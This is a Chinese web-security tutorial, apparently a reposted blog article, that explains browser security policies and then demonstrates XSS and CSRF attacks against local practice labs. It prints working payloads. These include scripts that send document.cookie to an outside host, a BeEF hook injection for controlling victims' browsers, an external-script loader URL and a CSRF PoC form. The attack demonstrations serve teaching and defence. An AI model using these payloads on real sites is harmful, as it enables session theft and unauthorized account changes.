Web安全-浏览器安全策略及跨站脚本攻击与请求伪造漏洞原理

Web安全-浏览器安全策略及跨站脚本攻击与请求伪造漏洞原理

Web服务组件分层概念

  • 静态层 :web前端框架:Bootstrap,jQuery,HTML5框架等,主要存在跨站脚本攻击
  • 脚本层:web应用,web开发框架,web服务端语言,主要存在远程命令执行
  • 服务层:web容器(web中间件)主要存在远程溢出Dos
  • 数据层:存储数据的过程,主要存在SQL注入
  • 系统层:操作系统,主要存在OS执行缓冲区溢出

浏览器页面渲染过程

浏览器将请求返回的页面资源基于一定规则完成页面布局及绘制的过程,可以理解为对网页的优化过程,其渲染主要是通过浏览器引擎进行渲染。常见的渲染引擎有:Trident,EdgeHTML,Webkit,Blink,Gecko

浏览器的页面渲染过程通常按以下几个关键步骤执行:

  • 请求发起:用户发起访问,浏览器向服务端请求网页代码

  • HTML解析:浏览器首先下载HTML文件,并开始解析。解析器会将HTML文件解析成DOM树(文档对象模型)。

  • CSS解析:浏览器解析CSS文件,并将样式信息应用到DOM树上,生成带有样式的渲染树(render tree)。

  • 布局:根据渲染树计算每个元素在页面上的位置和大小,这个过程称为布局(或回流)。

  • 绘制:浏览器使用计算好的布局信息将页面内容绘制到屏幕上。

  • 合成:对于复杂页面,浏览器可能会将多个层合成为一个,以提高渲染性能。

  • 启动事件循环:浏览器启动循环监测js的运行状态,每一次动态交互js都将被添加到事件队列,在浏览器解析后对页面再次渲染

浏览器的解析与解码过程

浏览器在处理网页时通常会经历解析(parsing)和解码(decoding)的过程,它们的顺序和具体过程如下:

  1. 解码过程

    • 当浏览器接收到服务器传输的网页文件时,如果是文本文件(如HTML、CSS、JavaScript),浏览器会先进行解码,将字节流转换为字符流。
    • 文本文件的解码过程通常会使用文本编码标准(如UTF-8、GBK等)来将字节序列解释为字符。
    • 图片等二进制文件也可能需要解码,将其转换为浏览器能够理解的图像格式。
  2. 解析过程

    • HTML解析:浏览器会将解码后的HTML文件解析成DOM树,这是文档对象模型,表示了网页的结构。
    • CSS解析:浏览器解析CSS文件,并将样式信息应用到DOM树上,生成带有样式的渲染树(render tree)。
    • JavaScript解析:浏览器解析JavaScript代码,将其转换为可执行的指令。
  3. 顺序

    • 解码通常发生在解析之前,因为浏览器需要先将字节流转换为字符流,才能进行后续的解析工作。
    • 在解码完成后,浏览器可以开始解析HTML,并在解析过程中遇到CSS和JavaScript等资源时进行相应的解析和处理。

浏览器的窗口管理分类

在浏览器中,有几种不同的窗口概念,每种都有不同的含义和用途:

  1. 浏览器窗口(Browser Window):指的是整个浏览器应用程序的窗口,包括地址栏、标签栏、工具栏、菜单栏等。一个浏览器窗口可以包含多个标签页。

  2. 标签页(Tab):是浏览器窗口中的一个页面标签,可以用来在同一个浏览器窗口中打开多个网页。用户可以通过单击标签页切换不同的网页。

  3. 窗口对象(Window Object):在浏览器中,每个标签页都有一个对应的窗口对象,它代表了整个浏览器窗口的一个实例。窗口对象提供了操作和控制当前标签页的方法和属性,如打开新窗口、关闭窗口、访问页面内容等。

  4. 弹出窗口(Pop-up Window):指的是由浏览器在用户点击链接或执行某些操作时弹出的新窗口。弹出窗口通常用于显示广告、登录框、提示信息等。

  5. 对话框窗口(Dialog Window):是指浏览器中由 JavaScript 脚本调用的对话框,如警告框、确认框和提示框等。这些对话框通常用于与用户进行简单的交互或提示。

浏览器安全之同源策略概述

同源策略的基本概念与作用

同源策略(Same Origin Policy)是一个重要的 Web 安全策略,用于限制一个网页文档或脚本如何与来自另一个源(域、协议或端口)网页进行交互。它的主要要点包括:

  1. 同源定义:两个 URL 的协议、域名和端口都相同,则这两个 URL 同源。

  2. 限制:同源策略限制来自不同源的文档或脚本如何进行交互。具体来说,它阻止了以下行为:

    • 跨域的 JavaScript 脚本不能访问包含该脚本的文档的 DOM。
    • 跨域的 XMLHttpRequest 和 Fetch 请求会受到限制。
    • 跨域的 Cookie、LocalStorage 和 IndexDB 等存储的读写操作会受到限制。
  3. 目的:同源策略的目的是保护用户的信息安全和减少跨站点攻击(如 CSRF)的可能性。

  4. 例外情况:有一些情况下同源策略会放宽限制,比如通过 CORS(跨域资源共享)头部允许跨域资源共享、通过 document.domain 允许不同子域名之间的跨域操作等。

  5. 限制绕过:虽然同源策略可以防止直接的跨域操作,但仍有一些方法可以绕过这种限制,如 JSONP、使用代理等。

同源限制之DOM访问限制

DOM限制的最典型应用是iframe窗口和window.open打开的窗口无法通信。

window.open() 是一个 JavaScript 方法,用于在浏览器中打开一个新的窗口或标签页。它对应的是浏览器窗口中的标签页概念。通过 window.open() 方法打开的窗口会在新的标签页中显示网页内容。

一般来讲这样的页面是不满足同源策略的,如果两个页面不满足同源要求(协议、域名和端口必须完全相同),则它们之间无法直接访问对方的 DOM 结构。这意味着通过 <iframe> 嵌套的页面或通过 window.open() 打开的页面无法直接访问彼此的 DOM 元素,也无法直接调用对方的 JavaScript 方法。但是我们也可以使用一些手段实现跨域:

  • Window.postMessage() 方法:可以在不同窗口之间安全地传递消息,即使这些窗口来自不同的源。
  • 跨文档消息(Cross-document messaging):允许嵌套在一个页面中的<iframe>、或由window.open()打开的窗口,在它们之间传递信息。
  • 服务器端代理:如果需要进行更复杂的通信,可以在服务器端设置一个代理,来中转通信请求,实现跨域通信。

同源限制之跨域请求限制

跨域请求限制一般限制的是页面中的异步请求,它主要限制的是一些异步通信技术,我们不开发浏览器,了解即可,主要有以下技术:

  1. Fetch API:Fetch API 是现代浏览器提供的用于发起网络请求的接口,它使用 Promise 对象来处理异步操作,取代了传统的 XMLHttpRequest。
  2. Axios:Axios 是一个基于 Promise 的 HTTP 客户端,可以用于浏览器和 Node.js 环境,它提供了更简洁、更强大的 API 来处理 HTTP 请求。
  3. jQuery AJAX:jQuery 提供了简单易用的 AJAX 方法,可以方便地在页面中使用 AJAX 技术进行异步请求。
  4. WebSocket:WebSocket 是一种在客户端和服务器之间创建持久连接的通信协议,可以实现双向实时通信,类似于 Ajax,但更适用于需要实时更新的场景。
  5. Server-Sent Events(SSE):SSE 是一种基于 HTTP 的协议,允许服务器向客户端推送事件,类似于 WebSocket,但是更适用于服务器向客户端单向推送数据的场景。

注意:传统的 XMLHttpRequest(XHR)对象,它是 Ajax 技术的基础,在早期的 Web 开发中被广泛使用。XMLHttpRequest 允许在不刷新整个页面的情况下向服务器发送请求并获取数据,从而实现异步通信。虽然现在有了更先进的技术如 Fetch API,但 XMLHttpRequest 仍然是一种可行的选择,特别是在需要支持旧版浏览器的情况下。

浏览器安全之X-Frame-Options

X-Frame-Options 是一个 HTTP 响应头,用于控制浏览器是否允许将页面嵌入到 <frame><iframe><object> 中。这个头部可以有三个可能的值:

  1. DENY:表示页面不允许被嵌入到任何 <frame><iframe><object> 中,无论是同源还是跨源。

  2. SAMEORIGIN:表示页面可以在相同域名下的 <frame><iframe><object> 中显示,但是不允许在不同域名的页面中显示。

  3. ALLOW-FROM uri:表示页面可以在指定的 URI 中的 <frame><iframe><object> 中显示。

这个头部可以有效地防止点击劫持(Clickjacking)攻击,因为攻击者无法将目标网站的页面嵌入到恶意站点中,诱使用户误点击。例如,可以通过在服务器端设置以下响应头来启用 X-Frame-Options

X-Frame-Options: DENY

或者允许在相同域名下的 <frame><iframe><object> 中显示:

X-Frame-Options: SAMEORIGIN

需要注意的是,X-Frame-Options 头部在现代浏览器中已经被 Content-Security-Policy 头部取代

浏览器安全之内容安全策略CSP

CSP(Content Security Policy,内容安全策略)是一个增加网站安全性的重要安全标准。它实质上是一种可信白名单机制,通过配置服务器,告诉浏览器哪些资源可以加载和执行,从而减少XSS等攻击的风险。CSP 通过定义响应头来实现,其中最常见的是Content-Security-Policy。它实质上是一种可信白名单机制

常见的CSP指令

  • plugin-types:该指令指定了哪些MIME类型的插件可以被加载
  • form-action:该指令指定了HTML表单中可以提交的的URLS
  • reflected-xss:向浏览器下达开启或者关闭任何作用于过滤XSS攻击的启发式算法
  • script-src:指定了web应用程序可以加载脚本的域
  • default-src:指定某一资源类型指定指令没有被定义情况下的加载策略
  • object-src:指定web应用可以加载的插件
  • style-src:指定web应用程序可加载的CSS样式的域
  • media-src:指定web应用程序可加载的媒体资源(音视频加载)的域
  • img-src:指定web应用程序可加载的图片资源的域
  • frame-src:指定web应用程序可加载框架的域
  • font-src:指定web应用程序可加载字体资源的域
  • connect-src:指定web应用程序可加载的脚本接口的域,如WebSocket,XMLHttpRequest,XHR, EventSource等

使用示例:

Content-Security-Policy: default-src 'self'; img-src example.com

default-src 'self' 指定默认加载内容的来源为同一域名下的资源,img-src example.com 指定可以从 example.com 域名加载图片。

浏览器安全策略之沙盒策略

浏览器安全的沙盒策略是一种在浏览器环境中运行不受信任代码的方法。沙盒通过限制代码的能力来保护系统免受潜在的恶意代码攻击。以下是一些常见的浏览器沙盒策略:

  1. iframe 的沙盒属性:使用 <iframe> 标签时,可以通过设置 sandbox 属性来创建一个沙盒环境,从而限制该 iframe 中的内容的能力。例如,可以禁止在 iframe 中执行脚本或者限制其对于顶层窗口的访问。

  2. JavaScript 的沙盒环境:一些 JavaScript 运行时环境提供了沙盒功能,允许在沙盒中运行 JavaScript 代码。例如,Node.js 的 vm 模块可以创建一个沙盒环境,在该环境中运行 JavaScript 代码,限制其对于外部环境的访问。

  3. Chrome 插件沙盒:Chrome 浏览器中的插件通常在一个沙盒环境中运行,这样可以限制插件的能力,防止其对于浏览器和系统的恶意影响。

  4. Chrome 的沙盒策略:Chrome 浏览器本身也使用了多种沙盒策略来增强安全性,例如,每个标签页都在独立的进程中运行,以防止一个标签页中的恶意代码影响到其他标签页。

我们前面提到的CSP与同源策略就是用来限制js的沙盒策略中的部分,在一些专属浏览器中还会隔离js的运行环境,我们这里介绍一下iframe沙盒即可:

<iframe> 标签中的sandbox 属性用于对 <iframe> 中的内容进行沙盒限制,以增强安全性。具体来说,sandbox 属性可以包含以下值,用于控制 <iframe> 中的行为:

  • allow-scripts:允许在 <iframe> 中执行脚本。如果没有这个值,则不允许执行脚本。
  • allow-forms:允许在 <iframe> 中使用表单。如果没有这个值,则不允许使用表单。
  • allow-top-navigation:允许嵌入的子页面控制顶级窗口的跳转。如果没有这个值,则不允许控制顶级窗口的跳转。
  • allow-same-origin:允许 <iframe> 访问同源数据。如果没有这个值,则不允许访问同源数据。

这些值可以组合使用,以实现对 <iframe> 中内容的不同限制。例如,可以使用 sandbox="allow-scripts" 来禁止在 <iframe> 中执行脚本,但允许使用表单和访问同源数据。

浏览器跨域技术之CORS技术

CORS(Cross-Origin Resource Sharing)是一种网络安全策略,用于控制浏览器如何访问跨源资源。在同源策略(Same-Origin Policy)的限制下,浏览器限制了来自不同源(协议、域名、端口)的页面对当前页面的访问。CORS允许服务器在响应头中包含一个特殊的头部信息(Access-Control-Allow-Origin),来告诉浏览器该服务器允许的源访问资源。

CORS的常见指令

  1. Access-Control-Allow-Origin: 指定哪些源可以访问资源。可以是单个源或者使用通配符 * 允许所有源访问。

    Access-Control-Allow-Origin: *
    
  2. Access-Control-Allow-Methods: 指定哪些 HTTP 方法允许跨源请求。通常包括 GET、POST 等。

    Access-Control-Allow-Methods: GET, POST, PUT, DELETE
    
  3. Access-Control-Allow-Headers: 指定哪些请求头可以包含在请求中。

    Access-Control-Allow-Headers: Content-Type, Authorization
    
  4. Access-Control-Allow-Credentials: 指定是否允许发送 Cookie。如果设置为 true,则表示允许发送 Cookie。

    Access-Control-Allow-Credentials: true
    
  5. Access-Control-Expose-Headers: 指定哪些响应头可以暴露给前端 JavaScript。

    Access-Control-Expose-Headers: Content-Length
    
  6. Access-Control-Max-Age: 指定预检请求(OPTIONS 请求)的有效期,单位为秒。

    Access-Control-Max-Age: 86400
    

注意:Access-Control-Allow-Origin: *需要谨慎使用,它有可能会造成服务器敏感信息泄露,从而成为攻击链中的一环

CORS的两种请求方式

在跨源请求中,浏览器会使用两种不同的请求方式来与服务器通信:简单请求(Simple Request)和非简单请求(Preflighted Request)。

  1. 简单请求(Simple Request)

    • 请求方法为 GETHEADPOST 之一。
    • 请求中只能使用以下几种 Content-Type 值之一:text/plainmultipart/form-dataapplication/x-www-form-urlencoded
    • 请求中的任何自定义头部信息均不得超出以下几种字段:AcceptAccept-LanguageContent-LanguageContent-Type(仅限上述三种之一)、DPRDownlinkSave-DataViewport-WidthWidth

    简单请求不会触发预检请求(preflight request),浏览器直接发送请求到服务器,并根据服务器返回的响应处理结果。

  2. 非简单请求(Preflighted Request)

    • 使用诸如 PUTDELETECONNECTOPTIONSTRACEPATCH 等方法。
    • 使用 Content-Type 为除 text/plainmultipart/form-dataapplication/x-www-form-urlencoded 以外的其他值。
    • 使用了自定义头部信息,例如 X-PINGOTHER

    **非简单请求会先发送一个预检请求(preflight request),该请求是一个 OPTIONS 方法的 HTTP 请求,用于检查服务器是否允许该跨源请求。**只有在预检请求的响应中包含了合适的 CORS 头部信息,并且服务器明确允许之后,浏览器才会发送实际的请求到服务器。

XSS漏洞原理与分类

XSS(跨站脚本攻击)之所以称为“跨站”,是因为攻击利用了 Web 应用程序中的漏洞,使恶意用户能够在其他用户的浏览器中执行恶意脚本。这种攻击通常发生在受害者访问的网站和包含恶意脚本的恶意网站之间,因此被称为“跨站脚本攻击”。

利用JavaScript,攻击者可以构造一段代码,让其他用户在打开网页时,不知情地将自己的信息发送到攻击者的服务器中,由于网站对用户的鉴别依靠于cookie,所以窃取cookie就实现了窃取用户身份的攻击,这也是XSS漏洞的原理

XSS是指通过巧妙的方法注入恶意的JavaScript代码到网页,使用户加载并执行恶意的JavaScript代码其本质上还是对非预期输入的信任和对用户输入没有严格控制而产生的

XSS漏洞通常分为三类:反射型,存储型,DOM型,除此之外还有UTF-7XSS,FlashXSS,UXSS等

在测试XSS时我们通常使用最小化的poc来验证我们的猜测,用来证明其可被利用,常用的payload如下:

<img src=x onerror=alert(1)>
<script>alert(1)</script>
<iframe src=javascript:alert(1)>

同时这也是三种最常见的构造方式,更复杂的操作则是闭合前面的标签,然后引入新的script标签

存储型 XSS 漏洞原理与演示

存储型 XSS 与反射型 XSS最大的区别就是,前者将攻击者精心构造的恶意代码传入服务器,并存储在服务器端。在其他用户下一次访问一个看似正常的链接时,就会触发并执行恶意代码。而后者通常将 Payload 直接写在URL中,两者相比之下,存储型 XSS 的危害显然更高,也更难以察觉。下面我们来看原理实现图:

在这里插入图片描述

故名思意,存储型XSS肯定是要存储进入我们的服务器的,所以它与其它XSS的本质区别就是存储型XSS需要被数据库存储

我们可以在dvwa或皮卡丘靶场玩一下:

在这里插入图片描述

然后我们去数据库查询:

mysql> select * from message;
+----+---------------------------+---------------------+
| id | content                   | time                |
+----+---------------------------+---------------------+
| 56 | <script>alert(1)</script> | 2024-04-01 21:59:54 |
+----+---------------------------+---------------------+
1 row in set (0.00 sec)

反射型 XSS漏洞原理与演示

反射型 XSS 是最常见的,也是使用最广泛的一种。一般是用户输入的参数内容会直接回显在页面上,通过提交 URL 来构造攻击代码。反射型 XSS的攻击需要将 URL发送给受害者,受害者点击之后才会触发。

在这里插入图片描述

反射型xss的原理图如上所示,我们构造的payload通过URL提交到服务器代码解析端被执行,也就是说该XSS在此处成型,并没有进入到数据库服务器,这也是该种类的xss与其他两种的本质区别。同时也证明了这种漏洞是一次性的(即我们构造并发送给用户才会出现此漏洞),常见的利用方式是构造链接来进行,还是以pkc为例,我们直接构造个链接来演示:

http://127.0.0.1/pkc/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

拼接了编码后的get请求参数:message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

在这里插入图片描述

DOM型XSS漏洞原理与演示

这类XSS与前两者相似,但是它发生是由于前端编写人员写在HTML中或者引入的JavaScript存在缺陷所导致的,即有可能发送的请求与服务器的处理均正常(甚至可以不与服务器交互),但是在浏览器渲染时出现了我们的XSS漏洞(即它并不依赖于我们的服务端),下面是原理图:

在这里插入图片描述

不过此类漏洞现在较为少见了,现在的浏览器安全都做的比较好

XSS漏洞的常见利用点

此类对数据进行操作的漏洞,无非增删查改,而这些都基于JavaScript的熟练程度

  • 利用XSS向页面增加内容,例如发布钓鱼连接,广告引流,以及著名的页面覆盖诱导点击等等
  • 操作用户浏览器行为,如模拟点击,向浏览器发布定时任务,劫持用户鼠标等等
  • 对于大流量网站的XSS漏洞,我们还可以插入其他网站链接,对被插入网站造成如DDOS攻击的效果
  • 对于后台系统存在的漏洞,我们还可以利用XSS操作后台进行提权的操作,如修改管理员密码,修改被控账户权限等
  • XSS攻击还有个著名应用,即蠕虫传播,我们可以操作XSS使得每个加载它的用户浏览器都在各自用户空间中生成一个XSS
  • XSS还可以进行数据窃取,我们可以窃取用户的客户端信息,如Cookie等身份令牌来进行会话劫持
  • 在一些特殊情况下,我们还可以利用XSS修改网站文件,例如在后台存在文件修改,上传接口时可以考虑
  • 基于操作浏览器的特性,我们还可以操作用户浏览器向其他网站发起攻击

漏洞利用之绕过同源策略

在一些极端特殊的情况下,我们可以在两个同时存在XSS的页面实行攻击,并且扩大攻击面。document.domain 是一个 JavaScript 属性,用于设置当前文档的域名。它的作用主要是为了解决跨域(Cross-Origin)访问的问题,允许两个具有相同父域名(或者一个是另一个的子域名)的页面之间进行跨域通信。

当两个页面的域名不同但是具有相同的父域名时,可以通过设置 document.domain 来将它们的域名设置为相同的值,从而实现同源策略的放宽,并且只能降域,不能升域。例如,a.example.comb.example.com 可以通过设置 document.domain = "example.com" 来实现跨域通信,但不能通过设置 document.domain = "com" 来实现。

需要注意的是,为了能够设置 document.domain两个页面的父域名必须相同,两个页面都必须设置,并且在设置之前两个页面必须都没有设置过 document.domain

漏洞利用之窃取Cookies

最简单的漏洞利用是转发用户的cookie并导出到我们的服务器,这也是早期某些盗号操作的手段,我们借助pkc来演示这个漏洞:

在我们已知登录后的页面存在XSS漏洞时,我们构造一个反射型的URL:

http://127.0.0.1/pkc/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location=%22http://192.168.179.131?cookie=%22(document.cookie)%3C/script%3E&submit=submit#

一旦用户访问此链接,我们将在我们自己的平台192.168.179.131的web服务日志上看到用户的Cookie,不过现在来讲这样的攻击方式基本上没有效果了,现在的浏览器通常会使用一种名为SameSite的Cookie属性来防止跨站点请求伪造(CSRF)和某些类型的跨站点脚本攻击(如反射型XSS)。

SameSite属性允许服务器标记某个cookie是否应该在跨站请求中发送。它有三个可能的值:Strict、Lax和None。

  • Strict:在任何情况下,都不会将Cookie发送到同站点之外的 URL。
  • Lax:只有在顶级导航时,才会将Cookie发送到同站点之外的 URL。比如,通过链接、表单提交等方式导航到其他站点。
  • None:Cookie将发送到所有站点,包括跨站点请求。

大多数浏览器在2019年之后开始默认将SameSite属性设置为Lax,这意味着即使发生了反射性XSS攻击,攻击者也无法利用受害者的Cookie进行进一步的攻击。

但是存储型XSS却是能够窃取cookie的,存储型XSS攻击与反射型XSS攻击不同,它是通过将恶意脚本存储在受信任的服务器上来实现的,而不是通过将恶意脚本传递给受害者并利用受害者的浏览器执行。因此,存储型XSS攻击可以利用受害者在访问网站时发送的所有Cookie。我们在存储型XSS关卡写入:

<script>new Image().src="http://192.168.179.131?cookie="+(document.cookie)</script>

或者说是前面的:

<script>document.location="http://192.168.179.131?cookie="(document.cookie)</script>

我们访问后,可在我们自己的平台上看到以下内容:

在这里插入图片描述

漏洞利用之隐匿脚本内容

直接在URL等构造出payload未免太过于招摇,我们更常用的是引入外部的JavaScript来进行攻击:

我们在虚拟机上写一个测试用的JavaScript:

alert('Hello World!!!!')

然后构造URL在pkc进行访问:

http://127.0.0.1/pkc/vul/xss/xss_reflected_get.php?message=%3Cscript%20src=%22http://192.168.195.135/exp.js%22%3E%3C/script%3E&submit=submit

在这里插入图片描述

有条件也可以整一个短链接用于伪装

漏洞利用之绕过HTTPOnly

HTTPOnly 是一个用于增强 Web 应用程序安全性的标记,它可以通过在 HTTP 响应头中设置 Set-Cookie 标记来保护 cookie 免受跨站脚本(XSS)攻击。具体来说,当服务器将带有 HttpOnly 标记的 cookie 发送给客户端时,客户端会将该 cookie 存储起来,但无法通过 JavaScript 访问它,这样可以有效地防止恶意脚本通过读取 document.cookie 来获取敏感信息。使用 HTTPOnly 标记的 cookie 的示例如下:

Set-Cookie: sessionId=abc123; HttpOnly

在这里插入图片描述

需要注意的是HTTPOnly只是保证了Cookies不被泄露,但是并不会影响我们操作用户浏览器,像前文提到的反射型XSS和DOM型XSS虽然因HTTPOnly和SameSite而限制,但是却还是可以弹出窗口。所以衍生出一种技术,将用户浏览器设置成代理来进行操作,这在内网渗透中有时会起关键作用,我接下来演示beef的操作:

sudo apt update
sudo apt install beef-xss
sudo beef-xss

然后我们将在控制台看到以下关键内容,并且将会自动打开浏览器进入面板:

──(kali㉿kali)-[~]
└─$ sudo beef-xss                

...

[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

...

在初始化beef时需要设置密码,如果想获取默认的账户名或忘记密码,可直接查看其安装目录下的config.yaml即可:

┌──(kali㉿kali)-[/usr/share/beef-xss]
└─$ sudo cat config.yaml
beef:
  version: 0.5.4.0
  debug: false
  client_debug: false
  crypto_default_value_length: 80
  credentials:
    user: beef
    passwd: '123456'

	...

在古早时间还有一些绕过的方法,比如phpinfo中的superglobal变量部分会泄露cookie等信息,或者使用HTTP的调试方法TRACE,使用JavaScript发起此请求,服务器将会返回set-cookie的内容,现在浏览器加强了安全,此方式已被限制

然后我们在pkc的存储型关卡输入beef-xss中的链接:

mysql> SELECT * FROM pikachu.message;
+----+-------------------------------------------------------------+---------------------+
| id | content                                                     | time                |
+----+-------------------------------------------------------------+---------------------+
| 57 | <script src="http://192.168.195.136:3000/hook.js"></script> | 2024-04-02 21:01:20 |
+----+-------------------------------------------------------------+---------------------+
1 row in set (0.00 sec)

然后我们在beef-xss的面板中可以看到以下内容,在commands中即可进行控制用户浏览器dom的操作:

在这里插入图片描述

CSRF漏洞原理与演示

CSRF(Cross-Site Request Forgery,跨站请求伪造)漏洞的产生原因通常是因为网站在处理用户请求时未能有效验证请求的来源。,使得攻击者可以构造一个恶意网页或链接,诱使用户在已登录的情况下发送恶意请求。攻击者可以以用户身份执行未经授权的操作,例如更改密码、转账等。

我们在pkc的CSRF关卡,登录后我们可以在以下页面修改用户信息:

在这里插入图片描述

我们使用burp抓包,在右键菜单中点击生成POC,然后我们加入我们想要让用户提交的信息即可(也可以自己手搓):

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pkc/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="耐摔" />
      <input type="hidden" name="phonenum" value="2333" />
      <input type="hidden" name="add" value="肘击大街" />
      <input type="hidden" name="email" value="kobe@牢大'" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

我们将此页面放在钓鱼服务器上诱使用户去点击触发提交即可

还有一种CSRF是像XSS攻击那样可以修改页面中链接的注入点,利用<img>等可以加载链接的标签来进行

CSRF漏洞防御策略

因为CSRF的本质上是伪造正常用户请求,所以防御时可以从防止伪造来进行:

  • 使用 CSRF Token: 为每个用户请求生成一个随机化的 Token,并要求用户在提交表单时提供这个 Token,以验证请求的合法性。
  • 验证 Referer 头部: 验证请求的 Referer 头部,确保请求来自合法的源。
  • 使用验证码: 在执行敏感操作之前,要求用户输入验证码来确认操作的真实性。

检测 Referer 头部可以帮助防范 CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击的原因在于,Referer 头部可以告诉服务器请求的来源页面是哪个页面。通过验证 Referer 头部,服务器可以检查请求是否来自期望的来源,从而辨别是否是正常用户操作。如果是我们的伪造页面,Referer 就不会符合服务器的预期。虽然Referer可以伪造(JavaScript的document.referrer可以修改Referer),但是同源策略将会限制我们的操作,大多数浏览器都会拦截修改Referer的行为。

同样的我们检测该漏洞也可以围绕上述三个方面来进行

特殊CSRF之JSONP漏洞

JSONP(JSON with Padding)是一种跨域数据请求的方法,通常用于在不同域名下的页面之间进行数据交换。JSONP 的基本原理是利用 <script> 标签可以跨域请求资源的特性,通过动态创建 <script> 标签,并指向一个返回 JSON 数据的 URL,从而实现跨域数据传输。

JSONP 漏洞的主要原因是缺乏对返回数据的有效验证,我们在发现一个JSONP的接口时,我们可以按照上文的检测策略验证CSRF特性,然后在用户登录后抓取该JSONP接口的数据包,根据数据包来构造一个Ajax请求页面来验证(下面的代码是随便写的,要根据实际情况来编写):

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
    $(document).ready(function(){
        $.ajax({
            url: "https://jsonplaceholder.typicode.com/users",
            type: "GET",
            dataType: "jsonp", 
            success: function(data){
                if(data.length > 0){
                    var userInfo = data[0];
                    $("#userInfo").html(`
                        <p>Name: ${userInfo.name}</p>
                        <p>Email: ${userInfo.email}</p>
                        <p>Phone: ${userInfo.phone}</p>
                    `);
                } else {
                    $("#userInfo").html(`<p>User not found</p>`);
                }
            },
            error: function(xhr, status, error){
                $("#userInfo").html(`<p>Error: ${error}</p>`);
            }
        });
    });
</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519297.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux从入门到精通 --- 2.基本命令入门

文章目录 第二章&#xff1a;2.1 Linux的目录结构2.1.1 路径描述方式 2.2 Linux命令入门2.2.1 Linux命令基础格式2.2.2 ls命令2.2.3 ls命令的参数和选项2.2.4 ls命令选项的组合使用 2.3 目录切换相关命令2.3.1 cd切换工作目录2.3.2 pwd查看当前工作目录2.4 相对路径、绝对路径和…

vue2+elementUi的两个el-date-picker日期组件进行联动

vue2elementUi的两个el-date-picker日期组件进行联动 <template><el-form><el-form-item label"起始日期"><el-date-picker v-model"form.startTime" change"startTimeChange" :picker-options"startTimePickerOption…

c# wpf template itemtemplate+ListBox

1.概要 2.代码 <Window x:Class"WpfApp2.Window7"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schemas.microsoft.com/expression/blend/…

【opencv】示例 3calibration.cpp 利用OpenCV库进行三路相机校准

此代码是一个利用OpenCV库进行三路相机校准的C程序。这个示例程序主要用于校准水平摆放的三台相机。 以下是关键函数及其功能的简要总结&#xff1a; help(char** argv): 显示程序的使用方法。calcChessboardCorners(Size boardSize, float squareSize, vector<Point3f>&…

Vue 事件处理 -- 事件修饰符(prevent、stop、capture、self、once)

1. 事件修饰符 Vue中的事件修饰符&#xff1a; prevent&#xff1a;阻止默认事件&#xff08;常用&#xff09;&#xff1b;stop&#xff1a;阻止事件冒泡&#xff08;常用&#xff09;&#xff1b;once&#xff1a;事件只触发一次&#xff08;常用&#xff09;&#xff1b;cap…

软考 系统架构设计师系列知识点之数据库基本概念(1)

所属章节&#xff1a; 第6章. 数据库设计基础知识 第1节 数据库基本概念 数据&#xff08;Data&#xff09;是描述事务的符号记录&#xff0c;它具有多种表现形式&#xff0c;可以是文字、图形、图像、声音和语言等。信息&#xff08;Information&#xff09;是现实世界事物的…

考研回忆录【二本->211】

备考时长差不多快一年半&#xff0c;从22年的11月底开始陆陆续续地准备考研&#xff0c;因为开始的早所以整个备考过程显得压力不是很大&#xff0c;中途还去一些地方旅游&#xff0c;我不喜欢把自己绷得太紧。虽然考的不是很好&#xff0c;考完我甚至都没准备复试&#xff0c;…

ChatGPT 的核心 GPT 模型:探究其生成式预训练变换架构的革新与应用潜力

GPT&#xff08;Generative Pre-trained Transformer&#xff09;模型是一种深度学习模型&#xff0c;由OpenAI于2018年首次提出&#xff0c;并在随后的几年中不断迭代发展&#xff0c;包括GPT-2、GPT-3以及最新的GPT-4。GPT模型在自然语言处理&#xff08;NLP&#xff09;领域…

JAVA毕业设计132—基于Java+Springboot+Vue的自习室座位预约小程序管理系统(源代码+数据库)

毕设所有选题&#xff1a; https://blog.csdn.net/2303_76227485/article/details/131104075 基于JavaSpringbootVue的自习室座位预约小程序管理系统(源代码数据库)132 一、系统介绍 本项目前后端分离带小程序&#xff0c;分为管理员、用户两种角色 1、用户&#xff1a; 注…

跨平台的组播测试工具mping、udp_sender及udp_reciver的源码及使用教程

文章目录 1.前言2.mping工具编译3.mping工具使用3.1 参数说明3.1 组播播发&#xff08;-s&#xff09;3.1 组播播发&#xff08;-r&#xff09;3.3 Linux下mping测试 4.Linux组播udp_sender及udp_reciver使用4.1 udp_sender源码4.1 udp_reciver源码4.3 编译方法4.4 测试使用4.4…

Star GAN论文解析

论文地址&#xff1a;https://arxiv.org/pdf/1912.01865v1.pdf https://openaccess.thecvf.com/content_cvpr_2018/papers/Choi_StarGAN_Unified_Generative_CVPR_2018_paper.pdf 源码&#xff1a;stargan项目实战及源码解读-CSDN博客 1. 概述 在传统方法中&#x…

电子商务平台中大数据的应用|主流电商平台大数据采集API接口

(一)电商平台物流管理中大数据的应用 电商平台订单详情订单列表物流信息API接口应用 电子商务企业对射频识别设备、条形码扫描设备、全球定位系统及销售网站、交通、库存等管理软件数据进行实时或近实时的分析研究,提高物流速度和准确性。部分电商平台已建立高效的物流配送网…

数据采集与整理:知识图谱的根基

数据采集与整理&#xff1a;知识图谱的根基 一、 引言 在今天的数据驱动的世界中&#xff0c;知识图谱已经成为了连接复杂信息的关键工具。它们不仅推动了人工智能的发展&#xff0c;还改变了我们管理和利用知识的方式。然而&#xff0c;任何优秀的知识图谱都离不开一个核心的…

docker安装Nexus,maven私服

